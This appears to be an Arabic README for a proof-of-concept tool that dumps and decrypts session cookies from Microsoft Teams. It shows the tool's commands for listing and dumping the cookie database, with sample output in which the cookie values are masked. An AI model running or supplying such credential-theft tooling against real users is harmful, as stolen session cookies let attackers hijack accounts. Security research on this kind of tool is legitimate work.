byinarie/teams_dumpإثبات مفهوم لتفريغ وفك تشفير ملفات تعريف الارتباط في أحدث إصدار من Microsoft Teams
extract.py يقوم بالتفريغ بدون وسائط
extract.exe هو مجرد extract.py معبأة في ملف exe
سرد القيم في قاعدة البيانات
python.exe .\teams_dump.py teams --list
الجدول: meta
الأعمدة في meta: key, value
--------------------------------------------------
الجدول: cookies
الأعمدة في cookies: creation_utc, host_key, top_frame_site_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, is_same_party
تفريغ قاعدة البيانات إلى ملف json
python.exe .\teams_dump.py teams --get
[+] المضيف: teams.microsoft.com
[+] اسم ملف تعريف الارتباط: MUIDB
[+] قيمة ملف تعريف الارتباط: xxxxxxxxxxxxxx
**************************************************
[+] المضيف: teams.microsoft.com
[+] اسم ملف تعريف الارتباط: TSREGIONCOOKIE
[+] قيمة ملف تعريف الارتباط: xxxxxxxxxxxxxx
**************************************************